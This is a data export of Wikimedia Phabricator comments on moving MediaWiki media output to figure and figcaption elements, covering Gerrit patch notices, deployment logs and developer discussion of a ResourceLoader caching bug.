+https://gerrit.wikimedia.org/r/726645",,,1637266651,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,437,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+1801744,Use figure and figcaption HTML5 elements when possible,"Change 730735 **merged** by C. Scott Ananian:
+%%%[mediawiki/core@REL1_37] RELEASE-NOTES-1.37: Add note about $wgParserEnableLegacyMediaDOM%%%
+https://gerrit.wikimedia.org/r/730735",,,1634321226,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1801007,Use figure and figcaption HTML5 elements when possible,"Change 725160 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
+https://gerrit.wikimedia.org/r/725160",,,1634244096,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1801000,Use figure and figcaption HTML5 elements when possible,"Change 730735 had a related patch set uploaded (by C. Scott Ananian; author: Arlolra):
+%%%[mediawiki/core@REL1_37] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
+https://gerrit.wikimedia.org/r/730735",,,1634243825,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1799058,Use figure and figcaption HTML5 elements when possible,">>! In T51097#7406103, @Tacsipacsi wrote:
+>>>! In T51097#7402844, @Legoktm wrote:
+>> How bad will it look if those styles aren't there?
+> Hopefully not that bad, at least in average. Images on Commons file description pages are usually inline (often transcluded in table cells), which don’t require much CSS. If you want to make sure, the necessary styles can be copied to (or `@import`ed from) [[https://commons.wikimedia.org/wiki/MediaWiki:Filepage.css|MediaWiki:Filepage.css]], which should be loaded on third-party wikis as well.
+
+That was the same conclusion that Arlo and I came to. I suggested that we make sure to backport the correct styles for the 1.35/1.36/1.37 branches, but not wait for a release before flipping the switch on Commons. If it turns out to be much worse than expected, we can ask Reedy to put out a MW maintenance release outside the normal cycle for this change.",,,1634059807,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+1796023,Use figure and figcaption HTML5 elements when possible,">>! In T51097#7402571, @Arlolra wrote:
+> If you can think of any other situation where there is similar cross wiki inclusion, please let me know
+
+Probably #mediawiki-extensions-doublewiki as well (used on Wikisources and a few other wikis). The transcluded pages often depend on their own wiki’s sitewide CSS and are thus already broken, breaking them a bit more doesn’t worsen the situation a lot…
+
+>>! In T51097#7402844, @Legoktm wrote:
+> How bad will it look if those styles aren't there?
+Hopefully not that bad, at least in average. Images on Commons file description pages are usually inline (often transcluded in table cells), which don’t require much CSS. If you want to make sure, the necessary styles can be copied to (or `@import`ed from) [[https://commons.wikimedia.org/wiki/MediaWiki:Filepage.css|MediaWiki:Filepage.css]], which should be loaded on third-party wikis as well.",,,1633537791,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+1795579,Use figure and figcaption HTML5 elements when possible,"Change 726643 **merged** by jenkins-bot:
+%%%[operations/mediawiki-config@master] Enable legacy media dom on metawiki%%%
+https://gerrit.wikimedia.org/r/726643",,,1633480989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1795567,Use figure and figcaption HTML5 elements when possible,"Change 726707 **merged** by jenkins-bot:
+%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726707",,,1633480028,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1795565,Use figure and figcaption HTML5 elements when possible,"Change 726709 **merged** by jenkins-bot:
+%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726709",,,1633479766,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1795521,Use figure and figcaption HTML5 elements when possible,"Change 726697 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726697",,,1633476238,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1795515,Use figure and figcaption HTML5 elements when possible,"Change 726709 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726709",,,1633475767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1795513,Use figure and figcaption HTML5 elements when possible,"Change 726707 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726707",,,1633475698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1795474,Use figure and figcaption HTML5 elements when possible,"Change 726697 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
+https://gerrit.wikimedia.org/r/726697",,,1633471391,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1795194,Use figure and figcaption HTML5 elements when possible,"I generally agree with the direction of the patch, if we can load the styles regardless of what the config flag is, we should.
+
+However, the situation for Commons is more tricky, because it's arbitrary MediaWiki installations requesting those pages...ideally we'd backport the styles for 1.35/1.36 if they're not there already. How bad will it look if those styles aren't there?",,,1633450464,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+1795164,Use figure and figcaption HTML5 elements when possible,"Change 726645 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
+https://gerrit.wikimedia.org/r/726645",,,1633448058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+1795160,Use figure and figcaption HTML5 elements when possible,"Change 726643 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[operations/mediawiki-config@master] [WIP] Enable legacy media dom on metawiki%%%
+https://gerrit.wikimedia.org/r/726643",,,1633448046,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1795149,Use figure and figcaption HTML5 elements when possible,"> Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis
+
+Thanks.  If you can think of any other situation where there is similar cross wiki inclusion, please let me know",,,1633447156,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,431,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+1795139,Use figure and figcaption HTML5 elements when possible,"> Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis
+
+Thanks.  If you can think of any of situation where there is similar cross wiki inclusion, please let me know",,,1633446229,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,431,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+1794932,Use figure and figcaption HTML5 elements when possible,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy `<div>`-based output, see T292498. Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis.",,,1633422992,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+1794929,Use figure and figcaption HTML5 elements when possible,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy `<div>`-based output, see T292498.
+",,,1633422717,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+1793345,Use figure and figcaption HTML5 elements when possible,"Change 725160 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
+https://gerrit.wikimedia.org/r/725160",,,1633046282,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1793029,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/yJ_wN3wB1jz_IcWuFNcF} [2021-09-30T18:20:53Z] <thcipriani@deploy1002> Synchronized wmf-config/InitialiseSettings.php: Config: [[gerrit:724861|Disable legacy media dom on a few more wikis (T51097)]] (duration: 01m 08s)",,,1633026053,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+1793024,Use figure and figcaption HTML5 elements when possible,"Change 724861 **merged** by jenkins-bot:
+%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
+https://gerrit.wikimedia.org/r/724861",,,1633025810,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+1792511,Use figure and figcaption HTML5 elements when possible,"Change 724861 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
+https://gerrit.wikimedia.org/r/724861",,,1632960717,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+1790311,Use figure and figcaption HTML5 elements when possible,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ? (Ah, because I use Timeless and there is {T287965} )",,,1632754354,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,430,,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+1790305,Use figure and figcaption HTML5 elements when possible,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ?",,,1632753845,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,430,,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+1780534,Use figure and figcaption HTML5 elements when possible,"Change 719179 **merged** by jenkins-bot:
+%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
+https://gerrit.wikimedia.org/r/719179",,,1631051594,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1780533,Use figure and figcaption HTML5 elements when possible,"Change 719180 **merged** by jenkins-bot:
+%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
+https://gerrit.wikimedia.org/r/719180",,,1631051550,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1780524,Use figure and figcaption HTML5 elements when possible,"Change 719180 had a related patch set uploaded (by Krinkle; author: Arlolra):
+%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
+https://gerrit.wikimedia.org/r/719180",,,1631050915,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1780523,Use figure and figcaption HTML5 elements when possible,"Change 719179 had a related patch set uploaded (by Krinkle; author: Arlolra):
+%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
+https://gerrit.wikimedia.org/r/719179",,,1631050878,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1778354,Use figure and figcaption HTML5 elements when possible,"Change 714841 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
+https://gerrit.wikimedia.org/r/714841",,,1630606208,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,426,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1775126,Use figure and figcaption HTML5 elements when possible,(Replied via a [[ https://gerrit.wikimedia.org/r/c/mediawiki/core/+/714841/2#message-e2a11b3e6f36e5f4561323aa91f6854567905332 | comment on Gerrit ]]),,,1630083005,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1775124,Use figure and figcaption HTML5 elements when possible,(Left a [[ https://gerrit.wikimedia.org/r/c/mediawiki/core/+/714841/2#message-e2a11b3e6f36e5f4561323aa91f6854567905332 | comment on Gerrit ]]),,,1630082994,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1775123,Use figure and figcaption HTML5 elements when possible,"It seems that SkinModule is completely missing any tracking of the feature files for versioning the module build hash. Thus, it would seem that even with this patch, we still don't get cache updates when the list of toggled features is changed, or worse, when deploying a change to any of the LESS files.
+
+I suggest we fix this by adding the relevant feature files to the list of files hashed. Either via getFileHashes/getStyleFiles without duplication, or via getFileDependencies with a small amount of duplication. Then the presence/absence of files for whatever reason is naturally taken care of as they would'be loaded and thus the array is naturally different. This is how FileModule works for other files.
+
+The simplest approach is probably to make use of getStyleFiles in the parent class, so that the override here is naturally taken into account instead of having to keep logic in sync.",,,1630082949,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+1773933,Use figure and figcaption HTML5 elements when possible,"Change 714841 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@master] Alter the skin definition summary based on wgParserEnableLegacyMediaDOM%%%
+https://gerrit.wikimedia.org/r/714841",,,1629928616,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1773880,Use figure and figcaption HTML5 elements when possible,"OK, I think this is related to caching (yes, @Arlolra was right). Specifically, the styles for this are loaded in an override of ResourceLoaderSkinModule::getStyleFiles():
+
+```
+				if ( $feature === 'content-media' && !$this->getConfig()->get( 'ParserEnableLegacyMediaDOM' ) ) {
+					$featureFilePaths['screen'][] = new ResourceLoaderFilePath(
+						'resources/src/mediawiki.skinning/content.media.less',
+						$defaultLocalBasePath,
+						$defaultRemoteBasePath
+					);
+				}
+```
+
+However, this new file path is not seen by ResourceLoaderModule::getDefinitionSummary() because it checks $this->styles. When $wgParserEnableLegacyMediaDOM was flipped, there was no cache invalidation since according to RL, the module and all its files were the same. 
+
+Quick fix: Add value of $wgParserEnableLegacyMediaDOM to ResourceLoaderSkinModule::getDefinitionSummary()
+
